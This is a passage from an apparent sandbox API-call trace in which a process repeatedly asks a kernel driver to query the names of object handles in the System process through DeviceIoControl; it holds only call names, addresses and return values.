ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030a9cf0, HandleInformation=0x0) returned 0x0 [0089.168] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.168] PsReleaseProcessExitSynchronization () returned 0x2 [0089.168] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.168] ObQueryNameString (in: Object=0xfffffa80030a9cf0, ObjectNameInfo=0xfffffa8003a7e044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7e044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.168] ObfDereferenceObject (Object=0xfffffa80030a9cf0) returned 0x1 [0089.168] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.168] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.168] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.168] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0xf6, lpOverlapped=0x0) returned 1 [0089.168] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.168] PsAcquireProcessExitSynchronization () returned 0x0 [0089.168] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.168] ObReferenceObjectByHandle (in: Handle=0xffffffff800002b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002c27aa0, HandleInformation=0x0) returned 0x0 [0089.168] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.168] PsReleaseProcessExitSynchronization () returned 0x2 [0089.168] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.168] ObQueryNameString (in: Object=0xfffffa8002c27aa0, ObjectNameInfo=0xfffffa8003a7f044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7f044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.168] ObfDereferenceObject (Object=0xfffffa8002c27aa0) returned 0x2 [0089.168] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.168] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.168] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.169] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.169] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.169] PsAcquireProcessExitSynchronization () returned 0x0 [0089.169] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.169] ObReferenceObjectByHandle (in: Handle=0xffffffff800002bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800254af20, HandleInformation=0x0) returned 0x0 [0089.169] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.169] PsReleaseProcessExitSynchronization () returned 0x2 [0089.169] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.169] ObQueryNameString (in: Object=0xfffffa800254af20, ObjectNameInfo=0xfffffa8003a80044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a80044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.169] ObfDereferenceObject (Object=0xfffffa800254af20) returned 0x2 [0089.169] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.169] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.169] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.169] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0089.169] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.169] PsAcquireProcessExitSynchronization () returned 0x0 [0089.169] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.169] ObReferenceObjectByHandle (in: Handle=0xffffffff800002d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030d6f20, HandleInformation=0x0) returned 0x0 [0089.169] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.169] PsReleaseProcessExitSynchronization () returned 0x2 [0089.169] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.169] ObQueryNameString (in: Object=0xfffffa80030d6f20, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233550) returned 0x0 [0089.169] ObfDereferenceObject (Object=0xfffffa80030d6f20) returned 0x2 [0089.169] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.169] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.169] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.169] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x9c, lpOverlapped=0x0) returned 1 [0089.169] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.169] PsAcquireProcessExitSynchronization () returned 0x0 [0089.169] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.169] ObReferenceObjectByHandle (in: Handle=0xffffffff800002d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030dd070, HandleInformation=0x0) returned 0x0 [0089.170] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.170] PsReleaseProcessExitSynchronization () returned 0x2 [0089.170] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.170] ObQueryNameString (in: Object=0xfffffa80030dd070, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233550) returned 0x0 [0089.170] ObfDereferenceObject (Object=0xfffffa80030dd070) returned 0x1 [0089.170] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.170] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.170] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.170] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0xa6, lpOverlapped=0x0) returned 1 [0089.170] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.170] PsAcquireProcessExitSynchronization () returned 0x0 [0089.170] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.170] ObReferenceObjectByHandle (in: Handle=0xffffffff800002dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030dda80, HandleInformation=0x0) returned 0x0 [0089.170] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.170] PsReleaseProcessExitSynchronization () returned 0x2 [0089.170] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.170] ObQueryNameString (in: Object=0xfffffa80030dda80, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.170] ObfDereferenceObject (Object=0xfffffa80030dda80) returned 0x1 [0089.170] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.170] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.170] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.170] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0xa6, lpOverlapped=0x0) returned 1 [0089.170] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.170] PsAcquireProcessExitSynchronization () returned 0x0 [0089.170] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.170] ObReferenceObjectByHandle (in: Handle=0xffffffff800002e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030dd7e0, HandleInformation=0x0) returned 0x0 [0089.170] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.170] PsReleaseProcessExitSynchronization () returned 0x2 [0089.170] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.170] ObQueryNameString (in: Object=0xfffffa80030dd7e0, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233550) returned 0x0 [0089.171] ObfDereferenceObject (Object=0xfffffa80030dd7e0) returned 0x1 [0089.171] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.171] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.171] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.171] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x140, lpOverlapped=0x0) returned 1 [0089.171] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.171] PsAcquireProcessExitSynchronization () returned 0x0 [0089.171] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.171] ObReferenceObjectByHandle (in: Handle=0xffffffff800002e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800f8cfbe0, HandleInformation=0x0) returned 0x0 [0089.171] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.171] PsReleaseProcessExitSynchronization () returned 0x2 [0089.171] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.171] ObQueryNameString (in: Object=0xfffffa800f8cfbe0, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.171] ObfDereferenceObject (Object=0xfffffa800f8cfbe0) returned 0x2 [0089.171] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.171] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.171] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.171] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x140, lpOverlapped=0x0) returned 1 [0089.171] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.171] PsAcquireProcessExitSynchronization () returned 0x0 [0089.171] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.171] ObReferenceObjectByHandle (in: Handle=0xffffffff800002e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030dd610, HandleInformation=0x0) returned 0x0 [0089.171] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.171] PsReleaseProcessExitSynchronization () returned 0x2 [0089.171] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.171] ObQueryNameString (in: Object=0xfffffa80030dd610, ObjectNameInfo=0xfffffa8003a22044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a22044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.171] ObfDereferenceObject (Object=0xfffffa80030dd610) returned 0x2 [0089.171] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.172] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.172] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.172] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0089.172] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.172] PsAcquireProcessExitSynchronization () returned 0x0 [0089.172] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.172] ObReferenceObjectByHandle (in: Handle=0xffffffff800002f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030c4f20, HandleInformation=0x0) returned 0x0 [0089.172] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.172] PsReleaseProcessExitSynchronization () returned 0x2 [0089.172] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.172] ObQueryNameString (in: Object=0xfffffa80030c4f20, ObjectNameInfo=0xfffffa8003a23044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a23044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.172] ObfDereferenceObject (Object=0xfffffa80030c4f20) returned 0x1 [0089.172] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.172] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.172] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.172] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0089.172] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.172] PsAcquireProcessExitSynchronization () returned 0x0 [0089.172] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.172] ObReferenceObjectByHandle (in: Handle=0xffffffff800002f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030c4770, HandleInformation=0x0) returned 0x0 [0089.172] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.172] PsReleaseProcessExitSynchronization () returned 0x2 [0089.172] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.172] ObQueryNameString (in: Object=0xfffffa80030c4770, ObjectNameInfo=0xfffffa8003a24044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a24044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.172] ObfDereferenceObject (Object=0xfffffa80030c4770) returned 0x2 [0089.172] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.172] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.172] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.172] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0xf8, lpOverlapped=0x0) returned 1 [0089.172] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.172] PsAcquireProcessExitSynchronization () returned 0x0 [0089.172] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.173] ObReferenceObjectByHandle (in: Handle=0xffffffff8000031c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800d41c950, HandleInformation=0x0) returned 0x0 [0089.173] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.173] PsReleaseProcessExitSynchronization () returned 0x2 [0089.173] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.173] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a25044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003a25044, ReturnLength=0xfffff88005233508) returned 0x0 [0089.173] ObfDereferenceObject (Object=0xfffffa800d41c950) returned 0x12 [0089.173] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.173] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.173] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.173] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0xf2, lpOverlapped=0x0) returned 1 [0089.173] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.173] PsAcquireProcessExitSynchronization () returned 0x0 [0089.173] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.173] ObReferenceObjectByHandle (in: Handle=0xffffffff80000320, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030f32a0, HandleInformation=0x0) returned 0x0 [0089.173] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.173] PsReleaseProcessExitSynchronization () returned 0x2 [0089.173] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.173] ObQueryNameString (in: Object=0xfffffa80030f32a0, ObjectNameInfo=0xfffffa8003aaf044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003aaf044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.173] ObfDereferenceObject (Object=0xfffffa80030f32a0) returned 0x2 [0089.173] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.173] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.173] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.173] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x98, lpOverlapped=0x0) returned 1 [0089.173] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.173] PsAcquireProcessExitSynchronization () returned 0x0 [0089.173] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.173] ObReferenceObjectByHandle (in: Handle=0xffffffff80000324, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030f28a0, HandleInformation=0x0) returned 0x0 [0089.173] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.173] PsReleaseProcessExitSynchronization () returned 0x2 [0089.173] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.173] ObQueryNameString (in: Object=0xfffffa80030f28a0, ObjectNameInfo=0xfffffa8003ab3044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003ab3044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.174] ObfDereferenceObject (Object=0xfffffa80030f28a0) returned 0x1 [0089.174] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.174] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.174] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.174] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0xa2, lpOverlapped=0x0) returned 1 [0089.174] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.174] PsAcquireProcessExitSynchronization () returned 0x0 [0089.174] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.174] ObReferenceObjectByHandle (in: Handle=0xffffffff80000328, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030f26d0, HandleInformation=0x0) returned 0x0 [0089.174] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.174] PsReleaseProcessExitSynchronization () returned 0x2 [0089.174] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.174] ObQueryNameString (in: Object=0xfffffa80030f26d0, ObjectNameInfo=0xfffffa800207b044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800207b044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.174] ObfDereferenceObject (Object=0xfffffa80030f26d0) returned 0x1 [0089.174] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.174] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.174] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.174] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0xa2, lpOverlapped=0x0) returned 1 [0089.174] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.174] PsAcquireProcessExitSynchronization () returned 0x0 [0089.174] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.174] ObReferenceObjectByHandle (in: Handle=0xffffffff8000032c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030f8ea0, HandleInformation=0x0) returned 0x0 [0089.174] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.174] PsReleaseProcessExitSynchronization () returned 0x2 [0089.174] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.174] ObQueryNameString (in: Object=0xfffffa80030f8ea0, ObjectNameInfo=0xfffffa8003a75044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a75044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.174] ObfDereferenceObject (Object=0xfffffa80030f8ea0) returned 0x1 [0089.175] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.175] HeapFree (in: hHeap=0x210000, 